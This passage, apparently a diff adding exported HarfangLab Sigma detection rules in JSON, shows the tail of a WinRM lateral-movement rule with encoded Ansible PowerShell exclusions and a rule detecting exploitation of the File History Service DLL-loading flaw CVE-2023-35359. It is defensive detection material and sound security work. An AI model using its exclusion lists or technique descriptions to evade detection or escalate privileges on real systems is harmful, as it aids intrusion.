BAEgASQBBAFkAUQBCADMAQQBDAEEAQQBMAFEAQgBXAEEARwBFAEEAYgBBAEIAMQBBAEcAVQBBAEkAQQBBAGsAQQBIAE0AQQBjAEEAQgBzAEEARwBrAEEAZABBAEIAZgBBAEgAQQBBAFkAUQBCAHkAQQBIAFEAQQBjAHcAQgBiAEEARABFAEEAWABRAEEASwBBAEMAUQBBAFoAUQBCADQAQQBHAFUAQQBZAHcAQgBmAEEASABjAEEAYwBnAEIAaABBAEgAQQBBAGMAQQBCAGwAQQBIAEkAQQBJAEEAQQA5AEEAQwBBAEEAVwB3AEIAVABBAEcATQBBAGMAZwBCAHAAQQBIAEEAQQBkAEEAQgBDAEEARwB3AEEAYgB3AEIAagBBAEcAcwBBAFgAUQBBADYAQQBEAG8AQQBRAHcAQgB5AEEARwBVAEEAWQBRAEIAMABBAEcAVQBBAEsAQQBBAGsAQQBIAE0AQQBjAEEAQgBzAEEARwBrAEEAZABBAEIAZgBBAEgAQQBBAFkAUQBCAHkAQQBIAFEAQQBjAHcAQgBiAEEARABBAEEAWABRAEEAcABBAEEAbwBBAEoAZwBBAGsAQQBHAFUAQQBlAEEAQgBsAEEARwBNAEEAWAB3AEIAMwBBAEgASQBBAFkAUQBCAHcAQQBIAEEAQQBaAFEAQgB5AEEAQQA9AD0A'\n            #- '?:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA='\n            # ansible.windows.win_reboot module – Reboot a windows machine\n            # https://docs.ansible.com/ansible/latest/collections/ansible/windows/win_reboot_module.html\n            #- '?:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBBAG8AQQBFAGMAQQBaAFEAQgAwAEEAQwAwAEEAUQB3AEIAcABBAEcAMABBAFMAUQBCAHUAQQBIAE0AQQBkAEEAQgBoAEEARwA0AEEAWQB3AEIAbABBAEMAQQBBAEwAUQBCAEQAQQBHAHcAQQBZAFEAQgB6AEEASABNAEEAVABnAEIAaABBAEcAMABBAFoAUQBBAGcAQQBGAGMAQQBhAFEAQgB1AEEARABNAEEATQBnAEIAZgBBAEUAOABBAGMAQQBCAGwAQQBIAEkAQQBZAFEAQgAwAEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGUAUQBCAHoAQQBIAFEAQQBaAFEAQgB0AEEAQwBBAEEATABRAEIAUQBBAEgASQBBAGIAdwBCAHcAQQBHAFUAQQBjAGcAQgAwAEEASABrAEEASQBBAEIATQBBAEcARQBBAGMAdwBCADAAQQBFAEkAQQBiAHcAQgB2AEEASABRAEEAVgBRAEIAdwBBAEYAUQBBAGEAUQBCAHQAQQBHAFUAQQBLAFEAQQB1AEEARQB3AEEAWQBRAEIAegBBAEgAUQBBAFEAZwBCAHYAQQBHADgAQQBkAEEAQgBWAEEASABBAEEAVgBBAEIAcABBAEcAMABBAFoAUQBBAHUAQQBGAFEAQQBiAHcAQgBHAEEARwBrAEEAYgBBAEIAbABBAEYAUQBBAGEAUQBCAHQAQQBHAFUAQQBLAEEAQQBwAEEAQQBvAEEAUwBRAEIAbQBBAEMAQQBBAEsAQQBBAHQAQQBHADQAQQBiAHcAQgAwAEEAQwBBAEEASgBBAEEALwBBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBTAFEAQgBtAEEAQwBBAEEASwBBAEIASABBAEcAVQBBAGQAQQBBAHQAQQBGAFkAQQBZAFEAQgB5AEEARwBrAEEAWQBRAEIAaQBBAEcAdwBBAFoAUQBBAGcAQQBFAHcAQQBRAFEAQgBUAEEARgBRAEEAUgBRAEIAWQBBAEUAawBBAFYAQQBCAEQAQQBFADgAQQBSAEEAQgBGAEEAQwBBAEEATABRAEIARgBBAEgASQBBAGMAZwBCAHYAQQBIAEkAQQBRAFEAQgBqAEEASABRAEEAYQBRAEIAdgBBAEcANABBAEkAQQBCAFQAQQBHAGsAQQBiAEEAQgBsAEEARwA0AEEAZABBAEIAcwBBAEgAawBBAFEAdwBCAHYAQQBHADQAQQBkAEEAQgBwAEEARwA0AEEAZABRAEIAbABBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBaAFEAQgA0AEEARwBrAEEAZABBAEEAZwBBAEMAUQBBAFQAQQBCAEIAQQBGAE0AQQBWAEEAQgBGAEEARgBnAEEAUwBRAEIAVQBBAEUATQBBAFQAdwBCAEUAQQBFAFUAQQBJAEEAQgA5AEEAQwBBAEEAUgBRAEIAcwBBAEgATQBBAFoAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAE0AUQBBAGcAQQBIADAAQQBJAEEAQgA5AEEAQQA9AD0A'\n\n            # generic ansible\n            - '?:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAA*'\n\n            # ansible winrm put_file()\n            # https://github.com/ansible/ansible/blob/devel/lib/ansible/plugins/connection/winrm.py\n            - '?:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand *JABEAGUAYgB1AGcAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAEMAbwBuAHQAaQBuAHUAZQAiAAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAdABvAHAAIgAKAFMAZQB0AC0AUwB0AHIAaQBjAHQATQBvAGQAZQAgAC0AVgBlAHIAcwBpAG8AbgAgADIACgAkAGYAZAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBDAHIAZQBhAHQAZQAoACQAcABhAHQAaAApAAoAJABzAGgAYQAxACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFMASABBADEAQwByAHkAcAB0AG8AUwBlAHIAdgBpAGMAZQBQAHIAbwB2AGkAZABlAHIAXQA6ADoAQwByAGUAYQB0AGUAKAApAAoAJABiAHkAdABlAHMAIAA9ACAAQAAoACkAIAAjAGkAbgBpAHQAaQBhAGwAaQB6AGUAIABmAG8AcgAgAGUAbQBwAHQAeQAgAGYAaQBsAGUAIABjAGEAcwBlAAoAfQAKAHAAcgBvAGMAZQBzAHMAIAB7AAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAaQBuAHAAdQB0ACkACgAkAHMAaABhADEALgBUAHIAYQBuAHMAZgBvAHIAbQBCAGwAbwBjAGsAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAAsACAAJABiAHkAdABlAHMALAAgADAAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAkAGYAZAAuAFcAcgBpAHQAZQAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkACgB9AAoAZQBuAGQAIAB7AAoAJABzAGgAYQAxAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAwACkAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAJABoAGEAcwBoACAAPQAgAFsAUwB5AHMAdABlAG0ALgBCAGkAdABDAG8AbgB2AGUAcgB0AGUAcgBdADoAOgBUAG8AUwB0AHIAaQBuAGcAKAAkAHMAaABhADEALgBIAGEAcwBoACkALgBSAGUAcABsAGEAYwBlACgAIgAtACIALAAgACIAIgApAC4AVABvAEwAbwB3AGUAcgBJAG4AdgBhAHIAaQBhAG4AdAAoACkACgAkAGYAZAAuAEMAbABvAHMAZQAoACkACgBXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIAewAiACIAcwBoAGEAMQAiACIAOgAiACIAJABoAGEAcwBoACIAIgB9ACIACg*'\n            - '?:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand *QARABlAGIAdQBnAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBDAG8AbgB0AGkAbgB1AGUAIgAKACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBTAHQAbwBwACIACgBTAGUAdAAtAFMAdAByAGkAYwB0AE0AbwBkAGUAIAAtAFYAZQByAHMAaQBvAG4AIAAyAAoAJABmAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHAAYQB0AGgAKQAKACQAcwBoAGEAMQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBTAEgAQQAxAEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACQAYgB5AHQAZQBzACAAPQAgAEAAKAApACAAIwBpAG4AaQB0AGkAYQBsAGkAegBlACAAZgBvAHIAIABlAG0AcAB0AHkAIABmAGkAbABlACAAYwBhAHMAZQAKAH0ACgBwAHIAbwBjAGUAcwBzACAAewAKACQAYgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGkAbgBwAHUAdAApAAoAJABzAGgAYQAxAC4AVAByAGEAbgBzAGYAbwByAG0AQgBsAG8AYwBrACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgALAAgACQAYgB5AHQAZQBzACwAIAAwACkAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAJABmAGQALgBXAHIAaQB0AGUAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApAAoAfQAKAGUAbgBkACAAewAKACQAcwBoAGEAMQAuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAMAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACQAaABhAHMAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQgBpAHQAQwBvAG4AdgBlAHIAdABlAHIAXQA6ADoAVABvAFMAdAByAGkAbgBnACgAJABzAGgAYQAxAC4ASABhAHMAaAApAC4AUgBlAHAAbABhAGMAZQAoACIALQAiACwAIAAiACIAKQAuAFQAbwBMAG8AdwBlAHIASQBuAHYAYQByAGkAYQBuAHQAKAApAAoAJABmAGQALgBDAGwAbwBzAGUAKAApAAoAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAHsAIgAiAHMAaABhADEAIgAiADoAIgAiACQAaABhAHMAaAAiACIAfQAiAAoA*'\n            - '?:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand *kAEQAZQBiAHUAZwBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACIAQwBvAG4AdABpAG4AdQBlACIACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACIAUwB0AG8AcAAiAAoAUwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAAMgAKACQAZgBkACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AEMAcgBlAGEAdABlACgAJABwAGEAdABoACkACgAkAHMAaABhADEAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUwBIAEEAMQBDAHIAeQBwAHQAbwBTAGUAcgB2AGkAYwBlAFAAcgBvAHYAaQBkAGUAcgBdADoAOgBDAHIAZQBhAHQAZQAoACkACgAkAGIAeQB0AGUAcwAgAD0AIABAACgAKQAgACMAaQBuAGkAdABpAGEAbABpAHoAZQAgAGYAbwByACAAZQBtAHAAdAB5ACAAZgBpAGwAZQAgAGMAYQBzAGUACgB9AAoAcAByAG8AYwBlAHMAcwAgAHsACgAkAGIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABpAG4AcAB1AHQAKQAKACQAcwBoAGEAMQAuAFQAcgBhAG4AcwBmAG8AcgBtAEIAbABvAGMAawAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACwAIAAkAGIAeQB0AGUAcwAsACAAMAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACQAZgBkAC4AVwByAGkAdABlACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQAKAH0ACgBlAG4AZAAgAHsACgAkAHMAaABhADEALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABiAHkAdABlAHMALAAgADAALAAgADAAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAkAGgAYQBzAGgAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAcwBoAGEAMQAuAEgAYQBzAGgAKQAuAFIAZQBwAGwAYQBjAGUAKAAiAC0AIgAsACAAIgAiACkALgBUAG8ATABvAHcAZQByAEkAbgB2AGEAcgBpAGEAbgB0ACgAKQAKACQAZgBkAC4AQwBsAG8AcwBlACgAKQAKAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAIgB7ACIAIgBzAGgAYQAxACIAIgA6ACIAIgAkAGgAYQBzAGgAIgAiAH0AIgAKA*'\n\n            # https://docs.ansible.com/ansible/latest/collections/ansible/windows/win_whoami_module.html\n            - '?:\\windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand dwBoAG8AYQBtAGkA'\n\n            # https://docs.ansible.com/ansible/latest/collections/ansible/windows/win_reboot_module.html\n            - '?:\\windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUA'\n\n    exclusion_common_commands:\n        CommandLine:\n            - '?:\\Windows\\system32\\cmd.exe /C java -version'\n            - '?:\\windows\\system32\\cmd.exe /c set'\n            - '?:\\Windows\\system32\\cmd.exe /C hostname'\n            - '?:\\Windows\\system32\\cmd.exe /C echo ConnexionOK'\n\n    exclusion_carl:\n        CommandLine:\n            - '?:\\WINDOWS\\system32\\cmd.exe /C powershell.exe -nonInteractive -command exit [int]!( Get-Service ?CARL*? -ErrorAction SilentlyContinue )'\n            - '?:\\Windows\\system32\\cmd.exe /C powershell.exe -nonInteractive -command if (!( Get-Service ?CARL*? -ErrorAction SilentlyContinue ) ) { Exit 1 }'\n            - '?:\\Windows\\system32\\cmd.exe /C powershell.exe -nonInteractive -command $srv=Get-Service ?CARL*? -ErrorAction SilentlyContinue; if ($srv) { echo $srv.status } else { Exit 1 }'\n            - '?:\\WINDOWS\\system32\\cmd.exe /C powershell.exe -nonInteractive -command $srv=Get-Service ?CARL*? -ErrorAction SilentlyContinue; if ($srv) { Write-Output $srv.status; exit 0 } else { exit 1 }'\n            - '?:\\Windows\\system32\\cmd.exe /C powershell.exe -nonInteractive -command $srv=Get-Service ?CARL*? -ErrorAction SilentlyContinue; if ($srv) { Write-Output $srv.name; exit 0 } else { exit 1 }'\n            - '?:\\WINDOWS\\system32\\cmd.exe /C ?:\\Program Files\\Eclipse Adoptium\\jdk-*\\jre/bin/java -classpath ?:\\Users\\\\*\\bin\\rmtexe\\CARLAdminRmtexe-*.jar * -X GET http://localhost:9200/_*'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "97766810-30db-4302-9d9a-ee68259b35ed",
+  "rule_name": "Suspicious Lateral Movement via WinRM",
+  "rule_description": "Detects suspicious process being spawned via WinRM (child of winrshost).\nWindows Remote Management is a common Windows service that is used by PowerShell Remoting.\nThis can be used by an attacker to move laterally within an organisation.\nIt is recommended to investigate the process created and check the network type authentication at the same time.\n",
+  "rule_creation_date": "2022-06-16",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.006",
+    "attack.t1059.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "979df31d-3f12-4fdd-aa5f-44a4867cf2d4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.610488Z",
+  "creation_date": "2026-03-23T11:45:34.610491Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.610499Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://ssd-disclosure.com/ssd-advisory-file-history-service-fhsvc-dll-elevation-of-privilege/",
+    "https://nvd.nist.gov/vuln/detail/CVE-2023-35359",
+    "https://attack.mitre.org/techniques/T1068/"
+  ],
+  "name": "t1068_cve_2023_35359_exploitation.yml",
+  "content": "title: File History Service CVE-2023-35359 Vulnerability Exploited\nid: 979df31d-3f12-4fdd-aa5f-44a4867cf2d4\ndescription: |\n    Detects the exploitation of a local privilege escalation vulnerability in the File History Service (CVE-2023-35359).\n    This vulnerability allows an attacker to make the File History load an arbitrary DLL as NT AUTHORITY\\SYSTEM, thus granting the attacker local SYSTEM privileges.\n    It is recommended to analyze the loaded DLL as well as to look for traces of malicious behavior on the host.\n    Remediative actions include quarantining the DLL as well as isolating the host.\nreferences:\n    - https://ssd-disclosure.com/ssd-advisory-file-history-service-fhsvc-dll-elevation-of-privilege/\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-35359\n    - https://attack.mitre.org/techniques/T1068/\ndate: 2023/09/04\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1068\n    - cve.2023-35359\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Exploit.CVE-2023-35359\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    category: library_event\n    product: windows\ndetection:\n    selection:\n        # C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc\n        Image|endswith: '\\svchost.exe'\n        ProcessCommandLine|contains: ' fhsvc'\n        ImageLoaded|endswith: '\\msasn1.dll'\n\n    filter_location:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n\n    filter_signed:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Corporation'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "979df31d-3f12-4fdd-aa5f-44a4867cf2d4",
+  "rule_name": "File History Service CVE-2023-35359 Vulnerability Exploited",
+  "rule_description": "Detects the exploitation of a local privilege escalation vulnerability in the File History Service (CVE-2023-35359).\nThis vulnerability allows an attacker to make the File History load an arbitrary DLL as NT AUTHORITY\\SYSTEM, thus granting the attacker local SYSTEM privileges.\nIt is recommended to analyze the loaded DLL as well as to look for traces of malicious behavior on the host.\nRemediative actions include quarantining the DLL as well as isolating the host.\n",
+  "rule_creation_date": "2023-09-04",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "97ac274a-41e8-4bf8-8eff-f1707706b244",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.098592Z",
+  "creation_date": "2026-03-23T11:45:34.098594Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.098599Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
